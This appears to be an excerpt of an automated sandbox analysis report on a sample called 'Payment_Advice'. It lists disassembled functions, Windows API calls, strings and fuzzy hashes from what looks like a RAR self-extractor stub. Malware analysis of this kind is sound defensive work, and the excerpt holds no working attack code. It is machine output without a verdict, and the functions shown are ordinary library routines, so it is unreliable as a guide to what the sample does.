SystemTimeToFileTime.KERNEL32(?,?), ref: 005114C2

Part of subcall function 0050B146: GetVersionExW.KERNEL32(?), ref: 0050B16B

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 005114E6
FileTimeToSystemTime.KERNEL32(?,?), ref: 00511500
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00511513
SystemTimeToFileTime.KERNEL32(?,?), ref: 00511523
SystemTimeToFileTime.KERNEL32(?,?), ref: 00511533

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: a60f78b73b83d5fe2ac4d22aaa48fe69e69f6cdb0a9fe0139ae0e3c499078a0b
Instruction ID: 0e4362385c1d505b0e5ad4ece3eb227d736e84161c9c3fc6d424b1c6a8114057
Opcode Fuzzy Hash: a60f78b73b83d5fe2ac4d22aaa48fe69e69f6cdb0a9fe0139ae0e3c499078a0b
Instruction Fuzzy Hash: 7C31E875108346ABC704DFA8C88499BBBF8BF98714F004A1EF995C3210E734D649CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00522AFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00522AF1,005202FC,0051FA34), ref: 00522B08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00522B16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00522B2F
SetLastError.KERNEL32(00000000,00522AF1,005202FC,0051FA34), ref: 00522B81

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 11ee6c4e70e98e0732ea0b3be7cf4f89bb100e138d2ea58208921a548d8a93e4
Instruction ID: 9798a4e5bddea20de370702c6c6317e7b78964dba3ff121f7324d86e5605ffb9
Opcode Fuzzy Hash: 11ee6c4e70e98e0732ea0b3be7cf4f89bb100e138d2ea58208921a548d8a93e4
Instruction Fuzzy Hash: 1801843A1193327EE7182B747C8AA272F99FFA37B4F60073AF510556E0EF555D04A244

Uniqueness

Uniqueness Score: -1.00%

Function 005297E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00541098,00524674,00541098,?,?,005240EF,?,?,00541098), ref: 005297E9
_free.LIBCMT ref: 0052981C
_free.LIBCMT ref: 00529844
SetLastError.KERNEL32(00000000,?,00541098), ref: 00529851
SetLastError.KERNEL32(00000000,?,00541098), ref: 0052985D
_abort.LIBCMT ref: 00529863

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: d1e9e61099575120c679e7bdf23ef6c66f0d30d3ce2fad4eb54e46ba4aae96de
Instruction ID: 8628e20fe71b5cbaf5b2b90c508183e941b1a0ed378a4f6de16e00b0485392ab
Opcode Fuzzy Hash: d1e9e61099575120c679e7bdf23ef6c66f0d30d3ce2fad4eb54e46ba4aae96de
Instruction Fuzzy Hash: 18F0A43614063267D7163364BC1EB2B1E69BFE3761F290524F614923D2FE20880A9565

Uniqueness

Uniqueness Score: -1.00%

Function 0051DC3B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 0051DC47
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0051DC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0051DC72
TranslateMessage.USER32(?), ref: 0051DC7C
DispatchMessageW.USER32(?), ref: 0051DC86
WaitForSingleObject.KERNEL32(?,0000000A), ref: 0051DC91

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 790e3d1ffcf784145aea9fe51501aa30cb64c82102089a46e53273ff284681f9
Instruction ID: cbe60d9d81ef40de8526f6d329a92ebeef8d137c45d4fc5e0e4fd1619c6f8294
Opcode Fuzzy Hash: 790e3d1ffcf784145aea9fe51501aa30cb64c82102089a46e53273ff284681f9
Instruction Fuzzy Hash: D3F03C72A01219BBCB206BA5DC4CDCB7F7DEF527A1B004421F50AD2050D675868ED7F0

Uniqueness

Uniqueness Score: -1.00%

Function 0051A80C Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 0051A699: GetDC.USER32(00000000), ref: 0051A69D
Part of subcall function 0051A699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 0051A6A8
Part of subcall function 0051A699: ReleaseDC.USER32(00000000,00000000), ref: 0051A6B3

GetObjectW.GDI32(?,00000018,?), ref: 0051A83C

Part of subcall function 0051AAC9: GetDC.USER32(00000000), ref: 0051AAD2
Part of subcall function 0051AAC9: GetObjectW.GDI32(?,00000018,?), ref: 0051AB01
Part of subcall function 0051AAC9: ReleaseDC.USER32(00000000,?), ref: 0051AB99

Strings

(, xrefs: 0051A9AA
AQ, xrefs: 0051A9BA
"Q, xrefs: 0051A89D, 0051AAB9

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: "Q$($AQ
API String ID: 1061551593-1104973574
Opcode ID: 91237ee5ec0f6bbefe23cd867d6f1d90ba3901931f3e0e24741bb826fa31dd32
Instruction ID: 9d34cf0e06068293a69af71dcf3430a56c719ee9dbe6eb1a39372e0486c4670c
Opcode Fuzzy Hash: 91237ee5ec0f6bbefe23cd867d6f1d90ba3901931f3e0e24741bb826fa31dd32
Instruction Fuzzy Hash: 92910375604340AFE711DF25C84896BBBE8FFD9711F00491EF99AD3220DB70A949DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0050C0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 005105DA: _wcslen.LIBCMT ref: 005105E0

Part of subcall function 0050B92D: _wcsrchr.LIBVCRUNTIME ref: 0050B944

_wcslen.LIBCMT ref: 0050C197
_wcslen.LIBCMT ref: 0050C1DF

Strings

.exe, xrefs: 0050C10B
.sfx, xrefs: 0050C11A
.rar, xrefs: 0050C0E1, 0050C134

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: 6209e8143488dee1bafaad4b16f3709190b1173d30ae9c52bd4073c8d5ff42f1
Instruction ID: b6a0720744e9a6d5bbe7c7e48ea6e82a71632fdd593390e7db59f544d9bd2229
Opcode Fuzzy Hash: 6209e8143488dee1bafaad4b16f3709190b1173d30ae9c52bd4073c8d5ff42f1
Instruction Fuzzy Hash: 85411826540312A5D731AF74885AA7F7FA8FF82744F144A4EF9C26B5C1EB904EC2C395

Uniqueness

Uniqueness Score: -1.00%

Function 0050BB03 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0050BB27
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,0050A275,?,?,00000800,?,0050A23A,?,0050755C), ref: 0050BBC5
_wcslen.LIBCMT ref: 0050BC3B

Strings

\\?\, xrefs: 0050BB52, 0050BB99, 0050BBF7, 0050BC4E
UNC, xrefs: 0050BBA7

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: a06cc48530d599d0ed5c8e950f288f0d60729463127e89b8de1f3768381d1baa
Instruction ID: 9f8e6b4a8e59d0001a11d968fff3ab5827324108dba4c44a5fa7dde4e0b64b24
Opcode Fuzzy Hash: a06cc48530d599d0ed5c8e950f288f0d60729463127e89b8de1f3768381d1baa
Instruction Fuzzy Hash: 4F417131840217A6FF21AF60CC89EEE7FA9BF85390F144465F855A71D1DBB4DED08A50

Uniqueness

Uniqueness Score: -1.00%

Function 0051CD58 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0051CD84

Part of subcall function 0051AF98: _wcschr.LIBVCRUNTIME ref: 0051B033

Part of subcall function 00511FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0050C116,00000000,.exe,?,?,00000800,?,?,?,00518E3C), ref: 00511FD1

Strings

HIDE, xrefs: 0051CDC6
<, xrefs: 0051CD68
MIN, xrefs: 0051CDF5
MAX, xrefs: 0051CDD9

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcschr$CompareString
String ID: <$HIDE$MAX$MIN
API String ID: 69343711-3358265660
Opcode ID: 0ba77cd4349032349db9fe4825995909603c01758e54a15c5e4f85c4024a3f1d
Instruction ID: 5a256ec320e241952456a00f82b5ec5da24cc15383c853eaf7b3253a894e1a25
Opcode Fuzzy Hash: 0ba77cd4349032349db9fe4825995909603c01758e54a15c5e4f85c4024a3f1d
Instruction Fuzzy Hash: 2F31A5769406099AEF26CB50CC45EEE7FBCFB55350F404566E501E7180EBB19EC48FA1

Uniqueness

Uniqueness Score: -1.00%

Function 0051AAC9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0051AAD2
GetObjectW.GDI32(?,00000018,?), ref: 0051AB01
ReleaseDC.USER32(00000000,?), ref: 0051AB99

Strings

7Q, xrefs: 0051AB67
-Q, xrefs: 0051AB32, 0051AB3F, 0051AB73, 0051AB7F

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ObjectRelease
String ID: -Q$7Q
API String ID: 1429681911-1037005211
Opcode ID: a93618839cc309f66ce6c4f069fd3f2db34c4d7b6da116c2732d009656a4895a
Instruction ID: 8e24d7c1b247325a41bce9b3a1030c6a4831676a0fef37eae7d85cebf4e57918
Opcode Fuzzy Hash: a93618839cc309f66ce6c4f069fd3f2db34c4d7b6da116c2732d009656a4895a
Instruction Fuzzy Hash: F7210A72108304FFD3019FA9DD4CE6FBFE9FB99265F040829FA4592220D6719A5C9B62

Uniqueness

Uniqueness Score: -1.00%

Function 0050B991 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0050B9B8

Part of subcall function 00504092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 005040A5

_wcschr.LIBVCRUNTIME ref: 0050B9D6
_wcschr.LIBVCRUNTIME ref: 0050B9E6

Strings

%c:\, xrefs: 0050B9AE

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: dd2ee7ccc6cfeb5a10347db92007539bd3f4da99dd3ea5aef7c8fa717150b94e
Instruction ID: c79f50c5ec19e52c2fe4e6d453463ba075cc126bcf54300808233b8a7ca2097c
Opcode Fuzzy Hash: dd2ee7ccc6cfeb5a10347db92007539bd3f4da99dd3ea5aef7c8fa717150b94e
Instruction Fuzzy Hash: 1D01D667600313B5EA306B259CCAD6FAF9CFFD6770B844C0AF544D60C2EB24D85482B1

Uniqueness

Uniqueness Score: -1.00%

Function 0051B270 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00501316: GetDlgItem.USER32(00000000,00003021), ref: 0050135A
Part of subcall function 00501316: SetWindowTextW.USER32(00000000,005335F4), ref: 00501370

EndDialog.USER32(?,00000001), ref: 0051B2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 0051B2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 0051B304

Strings

xzU, xrefs: 0051B2E2
GETPASSWORD1, xrefs: 0051B289

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1$xzU
API String ID: 445417207-150693504
Opcode ID: 96f5669b761a249bd8a99c4e15f45523d0e16fcc41054bcff466626a69aac539
Instruction ID: d4ed1fd5816ba5c0bc168f8118ae95604962550f5e4306a153991680cc2dabcc
Opcode Fuzzy Hash: 96f5669b761a249bd8a99c4e15f45523d0e16fcc41054bcff466626a69aac539
Instruction Fuzzy Hash: 3711E132900119B6FB219A689D4EFFE3F6CFB59710F000820FA45B30C0C7B5AA999761

Uniqueness

Uniqueness Score: -1.00%

Function 0051B6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 0051B6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 0051B712
DeleteObject.GDI32(00000000), ref: 0051B744
DeleteObject.GDI32(00000000), ref: 0051B767

Part of subcall function 0051A6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,0051B73D,00000066), ref: 0051A6D5
Part of subcall function 0051A6C2: SizeofResource.KERNEL32(00000000,?,?,?,0051B73D,00000066), ref: 0051A6EC
Part of subcall function 0051A6C2: LoadResource.KERNEL32(00000000,?,?,?,0051B73D,00000066), ref: 0051A703
Part of subcall function 0051A6C2: LockResource.KERNEL32(00000000,?,?,?,0051B73D,00000066), ref: 0051A712
Part of subcall function 0051A6C2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0051B73D,00000066), ref: 0051A72D
Part of subcall function 0051A6C2: GlobalLock.KERNEL32(00000000,?,?,?,?,?,0051B73D,00000066), ref: 0051A73E
Part of subcall function 0051A6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 0051A7A7
Part of subcall function 0051A6C2: GlobalUnlock.KERNEL32(00000000), ref: 0051A7C6
Part of subcall function 0051A6C2: GlobalFree.KERNEL32(00000000), ref: 0051A7CD

Strings

], xrefs: 0051B71A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: GlobalResource$Object$BitmapDeleteLoadLock$AllocCreateFindFreeFromGdipSizeofUnlock
String ID: ]
API String ID: 1428510222-3352871620
Opcode ID: 6a1dd74a11a0d26cdee4c56135f6a1d438e0a3a50ee7255855150a5d559342b7
Instruction ID: bbefc552ee39f39eaf221aa37a290c44e1b5bd4b1e1cfaa8156d8b023c7a6885
Opcode Fuzzy Hash: 6a1dd74a11a0d26cdee4c56135f6a1d438e0a3a50ee7255855150a5d559342b7
Instruction Fuzzy Hash: F001C436941202A7FB1277789D0DAFF7EBAFBC1762F050410F900A7295DF718D895262

Uniqueness

Uniqueness Score: -1.00%

Function 0051D600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00501316: GetDlgItem.USER32(00000000,00003021), ref: 0050135A
Part of subcall function 00501316: SetWindowTextW.USER32(00000000,005335F4), ref: 00501370

EndDialog.USER32(?,00000001), ref: 0051D64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 0051D661
SetDlgItemTextW.USER32(?,00000066,?), ref: 0051D675
SetDlgItemTextW.USER32(?,00000068), ref: 0051D684

Strings

RENAMEDLG, xrefs: 0051D618

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 5144de719a166d8d0a6dfafcfa6168e952edbd9d42ff8ac816c54b194ef3b656
Instruction ID: a7a0a8195bbfb8cf7ab6069edf62e95ee1ae5977167984f8fae759fafefdab1d
Opcode Fuzzy Hash: 5144de719a166d8d0a6dfafcfa6168e952edbd9d42ff8ac816c54b194ef3b656
Instruction Fuzzy Hash: FC01B533648314BAE2114F689D09FAB7F6DBBAAB02F110521F206A20D1C7A29D4CE775

Uniqueness

Uniqueness Score: -1.00%

Function 00527E73 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00527E24,?,?,00527DC4,?,0053C300,0000000C,00527F1B,?,00000002), ref: 00527E93
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00527EA6
FreeLibrary.KERNEL32(00000000,?,?,?,00527E24,?,?,00527DC4,?,0053C300,0000000C,00527F1B,?,00000002,00000000), ref: 00527EC9

Strings

CorExitProcess, xrefs: 00527E9E
mscoree.dll, xrefs: 00527E8C

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 788368b17d702135ad74a0bdcf427f8b5f5c00241fab845bb58cf7e949ef1719
Instruction ID: dabb2d27196d0d5c34748637afeed2cfe668b63c1fe850f73ed220cb86b87688
Opcode Fuzzy Hash: 788368b17d702135ad74a0bdcf427f8b5f5c00241fab845bb58cf7e949ef1719
Instruction Fuzzy Hash: 69F04435904218BBDB159BA4DC49B9EBFB8FF45711F0180A9F805A22A0DB349E44DAA0

Uniqueness

Uniqueness Score: -1.00%

Function 0050F2C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0051081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00510836
Part of subcall function 0051081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0050F2D8,Crypt32.dll,00000000,0050F35C,?,?,0050F33E,?,?,?), ref: 00510858

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0050F2E4
GetProcAddress.KERNEL32(005481C8,CryptUnprotectMemory), ref: 0050F2F4

Strings

CryptProtectMemory, xrefs: 0050F2DE
Crypt32.dll, xrefs: 0050F2CE
CryptUnprotectMemory, xrefs: 0050F2EA

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
